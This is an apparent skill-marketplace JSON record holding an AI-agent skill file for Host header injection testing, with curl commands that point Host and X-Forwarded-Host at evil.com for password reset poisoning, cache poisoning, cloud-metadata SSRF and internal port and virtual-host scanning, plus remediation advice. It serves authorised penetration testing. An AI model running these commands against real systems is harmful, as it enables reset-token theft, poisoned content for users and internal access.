[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71GVM5SPDAJQ6R6C0SB3H3M":3,"skill-same:01M71GVM5SPDAJQ6R6C0SB3H3M":95},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":68,"commitSha":69,"skillDirectory":70,"forksCount":14,"repositoryHtmlUrl":71,"repositoryHomepageUrl":6,"ownerHtmlUrl":72,"ownerBlogUrl":6,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M71GVM5SPDAJQ6R6C0SB3H3M","header-host-poison-detect",null,"Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fheader\u002Fhost\u002Fpoison\u002Fdetect\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"host","detect","header host poison detect","ssrf","sonnet","security","injection","read","test web","de","reset","Bash","cybersecurity","cm","header-manipulation","virtual-host","password-reset-poisoning","host-header-injection","cache-poisoning","header-injection","2026-11-10 10:12:30",false,"---\nname: header-host-poison-detect\ndescription: Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- host-header-injection\n- password-reset-poisoning\n- cache-poisoning\n- virtual-host\n- web-security\n- header-manipulation\n- ssrf\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1190\ncwe:\n- CWE-113\n- CWE-918\ncapec: []\n---\n\n# Testing for Host Header Injection\n\n## When to Use\n- When testing password reset functionality for token theft via host manipulation\n- During assessment of web caching behavior influenced by Host header values\n- When testing virtual host routing and server-side request processing\n- During penetration testing of applications behind reverse proxies or load balancers\n- When evaluating SSRF potential through Host header manipulation\n\n## Prerequisites\n- Burp Suite for intercepting and modifying Host headers\n- Understanding of HTTP Host header role in virtual hosting and routing\n- Knowledge of alternative host headers (X-Forwarded-Host, X-Host, X-Original-URL)\n- Access to an attacker-controlled domain for receiving poisoned requests\n- Burp Collaborator or interact.sh for out-of-band detection\n- Multiple test accounts for password reset testing\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Test Basic Host Header Injection\n```bash\n# Supply arbitrary Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Check if application reflects evil.com in response\n\n# Double Host header\ncurl -H \"Host: target.com\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Host header with port injection\ncurl -H \"Host: target.com:evil.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: target.com:@evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Absolute URL with different Host\ncurl --request-target \"http:\u002F\u002Ftarget.com\u002F\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Check for different virtual host access\ncurl -H \"Host: admin.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: internal.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: localhost\" http:\u002F\u002Ftarget.com\u002F -v\n```\n\n### Step 2 — Test Password Reset Poisoning\n```bash\n# Trigger password reset with modified Host header\n# The reset link may use the Host header value in the URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n# If reset email contains: http:\u002F\u002Fevil.com\u002Freset?token=xxx\n# Attacker receives the token when victim clicks the link\n\n# Try X-Forwarded-Host for password reset poisoning\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"X-Forwarded-Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Port-based injection in reset URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: target.com:80@evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Test with various forwarding headers\nfor header in \"X-Forwarded-Host\" \"X-Host\" \"X-Original-URL\" \"X-Rewrite-URL\" \"X-Forwarded-Server\" \"Forwarded\"; do\n  curl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n    -H \"$header: evil.com\" \\\n    -d \"email=victim@target.com\"\n  echo \"Tested: $header\"\ndone\n```\n\n### Step 3 — Test Web Cache Poisoning via Host Header\n```bash\n# If caching layer uses URL (without Host) as cache key:\n# Poison cache with modified Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# If response is cached and contains evil.com links\n# All subsequent users receive poisoned content\n\n# Test with X-Forwarded-Host for cache poisoning\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002Flogin -v\n# Check X-Cache header to see if response was cached\n\n# Verify cache poisoning\ncurl http:\u002F\u002Ftarget.com\u002Flogin -v\n# If response still contains evil.com, cache is poisoned\n\n# Poison JavaScript URLs in cached pages\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002F\n# If page loads: \u003Cscript src=\"\u002F\u002Fevil.com\u002Fstatic\u002Fapp.js\">\n# Attacker serves malicious JavaScript to all users\n```\n\n### Step 4 — Test SSRF via Host Header\n```bash\n# Backend may use Host header to make internal requests\ncurl -H \"Host: internal-api.target.local\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fproxy\n\n# Access cloud metadata via Host header\ncurl -H \"Host: 169.254.169.254\" http:\u002F\u002Ftarget.com\u002F\n\n# Internal port scanning\nfor port in 80 443 8080 8443 3000 5000 9200; do\n  curl -H \"Host: 127.0.0.1:$port\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s\n  echo \" - Port $port\"\ndone\n\n# SSRF via absolute URL\ncurl --request-target \"http:\u002F\u002Finternal-server\u002F\" -H \"Host: internal-server\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 5 — Test Virtual Host Enumeration\n```bash\n# Enumerate virtual hosts\nfor vhost in admin staging dev test api internal backend; do\n  status=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s)\n  size=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{size_download}\" -s)\n  echo \"$vhost.target.com - Status: $status, Size: $size\"\ndone\n\n# Check default virtual host behavior\ncurl -H \"Host: nonexistent.target.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Compare with legitimate host response\n\n# Access internal admin panels via virtual host\ncurl -H \"Host: admin\" http:\u002F\u002Ftarget.com\u002F\ncurl -H \"Host: management.internal\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 6 — Test Connection-State Attacks\n```bash\n# HTTP\u002F1.1 connection reuse attack\n# Send legitimate first request, then inject Host header on subsequent request\n# Use Burp Repeater with \"Update Content-Length\" and manual Connection: keep-alive\n\n# In Burp Repeater, send grouped request:\n# Request 1 (legitimate):\n# GET \u002F HTTP\u002F1.1\n# Host: target.com\n# Connection: keep-alive\n#\n# Request 2 (injected):\n# GET \u002Fadmin HTTP\u002F1.1\n# Host: internal.target.com\n\n# Test with HTTP Request Smuggling combined\n# If front-end validates Host but back-end doesn't:\n# Smuggle request with modified Host header\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Host Header | HTTP header specifying the target virtual host for the request |\n| Password Reset Poisoning | Injecting Host to make reset emails contain attacker-controlled URLs |\n| Cache Poisoning via Host | Poisoning CDN cache with responses containing attacker-controlled host |\n| Virtual Host Routing | Web server using Host header to route requests to different applications |\n| X-Forwarded-Host | Alternative header used by proxies that may override Host header |\n| Connection State Attack | Exploiting persistent connections to send requests with different Host values |\n| Server-Side Host Resolution | Backend code using Host header for URL generation and redirects |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for Host header manipulation and analysis |\n| Burp Collaborator | Out-of-band detection for Host header SSRF |\n| ffuf | Virtual host brute-forcing with custom Host headers |\n| gobuster vhost | Virtual host enumeration mode |\n| Nuclei | Template-based scanning for Host header injection |\n| param-miner | Burp extension for discovering unkeyed Host-related headers |\n\n## Common Scenarios\n\n1. **Password Reset Token Theft** — Poison Host header during password reset to make victim click a link pointing to attacker server, leaking reset token\n2. **Web Cache Poisoning** — Inject Host header to cache responses with attacker-controlled JavaScript URLs, achieving stored XSS for all users\n3. **Internal Panel Access** — Enumerate and access internal admin panels through virtual host manipulation\n4. **SSRF to Cloud Metadata** — Use Host header to redirect server-side requests to cloud metadata endpoints\n5. **Routing Bypass** — Bypass access controls by manipulating Host to route requests to unprotected backend instances\n\n## Output Format\n\n```\n## Host Header Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Reverse Proxy**: Nginx\n- **Backend**: Apache\u002FPHP\n\n### Findings\n| # | Technique | Header | Impact | Severity |\n|---|-----------|--------|--------|----------|\n| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |\n| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |\n| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |\n| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |\n\n### Remediation\n- Validate Host header against a whitelist of expected values\n- Do not use Host header for generating URLs in password reset emails\n- Configure web server to reject requests with unrecognized Host values\n- Set absolute URLs in application configuration instead of deriving from Host\n```\n","# Testing for Host Header Injection\n\n## When to Use\n- When testing password reset functionality for token theft via host manipulation\n- During assessment of web caching behavior influenced by Host header values\n- When testing virtual host routing and server-side request processing\n- During penetration testing of applications behind reverse proxies or load balancers\n- When evaluating SSRF potential through Host header manipulation\n\n## Prerequisites\n- Burp Suite for intercepting and modifying Host headers\n- Understanding of HTTP Host header role in virtual hosting and routing\n- Knowledge of alternative host headers (X-Forwarded-Host, X-Host, X-Original-URL)\n- Access to an attacker-controlled domain for receiving poisoned requests\n- Burp Collaborator or interact.sh for out-of-band detection\n- Multiple test accounts for password reset testing\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Test Basic Host Header Injection\n```bash\n# Supply arbitrary Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Check if application reflects evil.com in response\n\n# Double Host header\ncurl -H \"Host: target.com\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Host header with port injection\ncurl -H \"Host: target.com:evil.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: target.com:@evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Absolute URL with different Host\ncurl --request-target \"http:\u002F\u002Ftarget.com\u002F\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Check for different virtual host access\ncurl -H \"Host: admin.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: internal.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: localhost\" http:\u002F\u002Ftarget.com\u002F -v\n```\n\n### Step 2 — Test Password Reset Poisoning\n```bash\n# Trigger password reset with modified Host header\n# The reset link may use the Host header value in the URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n# If reset email contains: http:\u002F\u002Fevil.com\u002Freset?token=xxx\n# Attacker receives the token when victim clicks the link\n\n# Try X-Forwarded-Host for password reset poisoning\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"X-Forwarded-Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Port-based injection in reset URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: target.com:80@evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Test with various forwarding headers\nfor header in \"X-Forwarded-Host\" \"X-Host\" \"X-Original-URL\" \"X-Rewrite-URL\" \"X-Forwarded-Server\" \"Forwarded\"; do\n  curl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n    -H \"$header: evil.com\" \\\n    -d \"email=victim@target.com\"\n  echo \"Tested: $header\"\ndone\n```\n\n### Step 3 — Test Web Cache Poisoning via Host Header\n```bash\n# If caching layer uses URL (without Host) as cache key:\n# Poison cache with modified Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# If response is cached and contains evil.com links\n# All subsequent users receive poisoned content\n\n# Test with X-Forwarded-Host for cache poisoning\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002Flogin -v\n# Check X-Cache header to see if response was cached\n\n# Verify cache poisoning\ncurl http:\u002F\u002Ftarget.com\u002Flogin -v\n# If response still contains evil.com, cache is poisoned\n\n# Poison JavaScript URLs in cached pages\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002F\n# If page loads: \u003Cscript src=\"\u002F\u002Fevil.com\u002Fstatic\u002Fapp.js\">\n# Attacker serves malicious JavaScript to all users\n```\n\n### Step 4 — Test SSRF via Host Header\n```bash\n# Backend may use Host header to make internal requests\ncurl -H \"Host: internal-api.target.local\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fproxy\n\n# Access cloud metadata via Host header\ncurl -H \"Host: 169.254.169.254\" http:\u002F\u002Ftarget.com\u002F\n\n# Internal port scanning\nfor port in 80 443 8080 8443 3000 5000 9200; do\n  curl -H \"Host: 127.0.0.1:$port\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s\n  echo \" - Port $port\"\ndone\n\n# SSRF via absolute URL\ncurl --request-target \"http:\u002F\u002Finternal-server\u002F\" -H \"Host: internal-server\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 5 — Test Virtual Host Enumeration\n```bash\n# Enumerate virtual hosts\nfor vhost in admin staging dev test api internal backend; do\n  status=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s)\n  size=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{size_download}\" -s)\n  echo \"$vhost.target.com - Status: $status, Size: $size\"\ndone\n\n# Check default virtual host behavior\ncurl -H \"Host: nonexistent.target.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Compare with legitimate host response\n\n# Access internal admin panels via virtual host\ncurl -H \"Host: admin\" http:\u002F\u002Ftarget.com\u002F\ncurl -H \"Host: management.internal\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 6 — Test Connection-State Attacks\n```bash\n# HTTP\u002F1.1 connection reuse attack\n# Send legitimate first request, then inject Host header on subsequent request\n# Use Burp Repeater with \"Update Content-Length\" and manual Connection: keep-alive\n\n# In Burp Repeater, send grouped request:\n# Request 1 (legitimate):\n# GET \u002F HTTP\u002F1.1\n# Host: target.com\n# Connection: keep-alive\n#\n# Request 2 (injected):\n# GET \u002Fadmin HTTP\u002F1.1\n# Host: internal.target.com\n\n# Test with HTTP Request Smuggling combined\n# If front-end validates Host but back-end doesn't:\n# Smuggle request with modified Host header\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Host Header | HTTP header specifying the target virtual host for the request |\n| Password Reset Poisoning | Injecting Host to make reset emails contain attacker-controlled URLs |\n| Cache Poisoning via Host | Poisoning CDN cache with responses containing attacker-controlled host |\n| Virtual Host Routing | Web server using Host header to route requests to different applications |\n| X-Forwarded-Host | Alternative header used by proxies that may override Host header |\n| Connection State Attack | Exploiting persistent connections to send requests with different Host values |\n| Server-Side Host Resolution | Backend code using Host header for URL generation and redirects |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for Host header manipulation and analysis |\n| Burp Collaborator | Out-of-band detection for Host header SSRF |\n| ffuf | Virtual host brute-forcing with custom Host headers |\n| gobuster vhost | Virtual host enumeration mode |\n| Nuclei | Template-based scanning for Host header injection |\n| param-miner | Burp extension for discovering unkeyed Host-related headers |\n\n## Common Scenarios\n\n1. **Password Reset Token Theft** — Poison Host header during password reset to make victim click a link pointing to attacker server, leaking reset token\n2. **Web Cache Poisoning** — Inject Host header to cache responses with attacker-controlled JavaScript URLs, achieving stored XSS for all users\n3. **Internal Panel Access** — Enumerate and access internal admin panels through virtual host manipulation\n4. **SSRF to Cloud Metadata** — Use Host header to redirect server-side requests to cloud metadata endpoints\n5. **Routing Bypass** — Bypass access controls by manipulating Host to route requests to unprotected backend instances\n\n## Output Format\n\n```\n## Host Header Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Reverse Proxy**: Nginx\n- **Backend**: Apache\u002FPHP\n\n### Findings\n| # | Technique | Header | Impact | Severity |\n|---|-----------|--------|--------|----------|\n| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |\n| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |\n| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |\n| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |\n\n### Remediation\n- Validate Host header against a whitelist of expected values\n- Do not use Host header for generating URLs in password reset emails\n- Configure web server to reject requests with unrecognized Host values\n- Set absolute URLs in application configuration instead of deriving from Host\n```\n",{"cwe":49,"name":5,"tags":52,"capec":54,"model":28,"tools":55,"domain":36,"maxTurns":59,"nist_csf":60,"subdomain":65,"description":7,"mitre_attack":66},[50,51],"CWE-113","CWE-918",[41,40,42,39,53,38,27],"web-security",[],[56,35,57,58],"Read","Glob","Grep",20,[61,62,63,64],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[67],"T1190","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fweb-application\u002Fheader\u002Fhost\u002Fpoison\u002Fdetect","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill header-host-poison-detect",{"tool":81,"command":82},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill header-host-poison-detect",{"tool":84,"command":85},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill header-host-poison-detect","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fheader\u002Fhost\u002Fpoison\u002Fdetect\u002FSKILL.md",true,[89],{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"index.json","REFERENCE","参考文档",684,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fheader\u002Fhost\u002Fpoison\u002Fdetect\u002Findex.json",[96,118,139,160,182,197],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":100,"categories":101,"keywords":102,"publishedAt":44},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[103,25,104,105,106,33,37,107,108,109,110,111,112,113,114,115,116,36,117],"services","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":44},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[125,103,126,105,127,128,129,36,35,130,131,132,133,134,33,135,136,31,137,138],"exploit","services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":140,"name":141,"nameZh":6,"description":142,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":143,"categories":144,"keywords":145,"publishedAt":44},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[146,147,148,149,150,151,36,35,152,130,153,154,33,31,155,156,157,158,159,28],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":164,"categories":165,"keywords":166,"publishedAt":44},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[25,167,168,169,170,171,172,37,173,36,117,174,175,176,177,178,179,180,181,33],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":183,"name":184,"nameZh":6,"description":185,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":186,"categories":187,"keywords":188,"publishedAt":44},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[189,190,25,30,169,171,191,37,192,173,36,117,130,193,194,195,196,181,33,107],"thread","processes thread injection detect","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":198,"name":199,"nameZh":6,"description":200,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":201,"categories":202,"keywords":203,"publishedAt":44},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[204,25,169,205,191,37,206,207,36,117,208,209,210,211,212,213,33,107,214,215],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]